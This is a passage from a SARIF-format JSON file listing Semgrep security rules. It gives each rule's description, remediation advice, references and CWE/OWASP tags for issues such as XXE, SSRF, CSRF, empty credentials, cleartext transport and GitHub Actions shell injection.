message."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration","id":"javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration","name":"javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password)\n - [https://docs.diesel.rs/master/diesel/index.html](https://docs.diesel.rs/master/diesel/index.html)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password","id":"rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password","name":"rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for outgoing connections to ftp servers with the ftp package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol."},"help":{"markdown":"Checks for outgoing connections to ftp servers with the ftp package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request)\n - [https://godoc.org/github.com/jlaffaye/ftp#Dial](https://godoc.org/github.com/jlaffaye/ftp#Dial)\n - [https://github.com/jlaffaye/ftp](https://github.com/jlaffaye/ftp)\n","text":"Checks for outgoing connections to ftp servers with the ftp package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request","id":"problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request","name":"problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Markup escaping disabled. This can be used with some template engines to escape disabling of HTML entities, which can lead to XSS attacks."},"help":{"markdown":"Markup escaping disabled. This can be used with some template engines to escape disabling of HTML entities, which can lead to XSS attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Markup escaping disabled. This can be used with some template engines to escape disabling of HTML entities, which can lead to XSS attacks."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape","id":"javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape","name":"javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape","properties":{"precision":"very-high","tags":["CWE-116: Improper Encoding or Escaping of Output","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via http.NewRequest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via http.NewRequest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request)\n - [https://golang.org/pkg/net/http/#NewRequest](https://golang.org/pkg/net/http/#NewRequest)\n","text":"Checks for requests sent via http.NewRequest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request","id":"problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request","name":"problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `domain` not set. It indicates the domain of the cookie; use it to compare against the domain of the server in which the URL is being requested. If they match, then check the path attribute next."},"help":{"markdown":"Default session middleware settings: `domain` not set. It indicates the domain of the cookie; use it to compare against the domain of the server in which the URL is being requested. If they match, then check the path attribute next.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `domain` not set. It indicates the domain of the cookie; use it to compare against the domain of the server in which the URL is being requested. If they match, then check the path attribute next."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable."},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/gorilla/csrf](https://github.com/gorilla/csrf)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable."},"helpUri":"https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection","id":"go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection","name":"go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.openai.openai-empty-secret.openai-empty-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.openai.openai-empty-secret.openai-empty-secret","id":"go.secrets.openai.openai-empty-secret.openai-empty-secret","name":"go.secrets.openai.openai-empty-secret.openai-empty-secret","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.openai.openai-empty-secret.openai-empty-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe","id":"java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe","name":"java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. Don't use `ParseUnverified` unless you know what you're doing This method parses the token but doesn't validate the signature. It's only ever useful in cases where you know the signature is valid (because it has been checked previously in the stack) and you want to extract values from it."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. Don't use `ParseUnverified` unless you know what you're doing This method parses the token but doesn't validate the signature. It's only ever useful in cases where you know the signature is valid (because it has been checked previously in the stack) and you want to extract values from it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. Don't use `ParseUnverified` unless you know what you're doing This method parses the token but doesn't validate the signature. It's only ever useful in cases where you know the signature is valid (because it has been checked previously in the stack) and you want to extract values from it."},"helpUri":"https://semgrep.dev/r/go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified","id":"go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified","name":"go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe","id":"kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe","name":"kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `puppeteer` methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `puppeteer` methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-puppeteer-injection.express-puppeteer-injection)\n - [https://pptr.dev/api/puppeteer.page](https://pptr.dev/api/puppeteer.page)\n","text":"If unverified user data can reach the `puppeteer` methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-puppeteer-injection.express-puppeteer-injection","id":"javascript.express.security.express-puppeteer-injection.express-puppeteer-injection","name":"javascript.express.security.express-puppeteer-injection.express-puppeteer-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-puppeteer-injection.express-puppeteer-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\"."},"help":{"markdown":"Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.run-shell-injection.run-shell-injection)\n - [https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections](https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)\n - [https://securitylab.github.com/research/github-actions-untrusted-input/](https://securitylab.github.com/research/github-actions-untrusted-input/)\n","text":"Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\"."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.run-shell-injection.run-shell-injection","id":"yaml.github-actions.security.run-shell-injection.run-shell-injection","name":"yaml.github-actions.security.run-shell-injection.run-shell-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.run-shell-injection.run-shell-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.ssrf.reqwest-taint.reqwest-taint)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/rust.actix.ssrf.reqwest-taint.reqwest-taint","id":"rust.actix.ssrf.reqwest-taint.reqwest-taint","name":"rust.actix.ssrf.reqwest-taint.reqwest-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.ssrf.reqwest-taint.reqwest-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the 